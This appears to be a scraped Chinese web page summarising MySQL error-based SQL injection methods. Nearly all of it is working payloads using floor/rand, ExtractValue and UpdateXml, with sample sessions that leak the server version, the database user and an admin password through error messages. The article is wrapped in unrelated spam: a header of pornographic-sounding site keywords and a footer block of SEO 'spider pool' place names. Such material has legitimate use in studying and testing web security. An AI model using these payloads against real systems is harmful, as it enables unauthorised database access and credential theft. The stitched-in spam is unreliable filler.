欧美一区高清,国产精品视频专区,久久成人羞羞网站,天天免费亚洲黑人免费

< 返回

mysql 注入報錯利用方法總結

2024-07-05 11:18 作者:18723323311 閱讀量:4189

1、通過floor報錯

可以通過如下一些利用代碼

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

舉例如下:

首先進行正常查詢:

mysql> select * from article where id = 1;

+—-+——-+———+

| id | title | content |

+—-+——-+———+

| 1 | test | do it |

+—-+——-+———+

假如id輸入存在注入的話,可以通過如下語句進行報錯。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’

可以看到成功爆出了Mysql的版本,如果需要查詢其他數據,可以通過修改version()所在位置語句進行查詢。

例如我們需要查詢管理員用戶名和密碼:

Method1:

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

2、ExtractValue

測試語句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

實際測試過程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–

ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’

3、UpdateXml

測試語句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

實際測試過程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’

主站蜘蛛池模板: 蒲城县| 泗洪县| 苍山县| 武威市| 台东县| 洛阳市| 临泉县| 左贡县| 博客| 米泉市| 泊头市| 洛川县| 镇巴县| 柏乡县| 咸阳市| 射阳县| 溧阳市| 博客| 上蔡县| 芷江| 甘肃省| 申扎县| 江西省| 勐海县| 丹凤县| 富顺县| 镇平县| 广昌县| 翁牛特旗| 谢通门县| 广南县| 乌鲁木齐市| 古浪县| 同仁县| 天等县| 江阴市| 读书| 伊金霍洛旗| 新乡市| 秀山| 东乡县|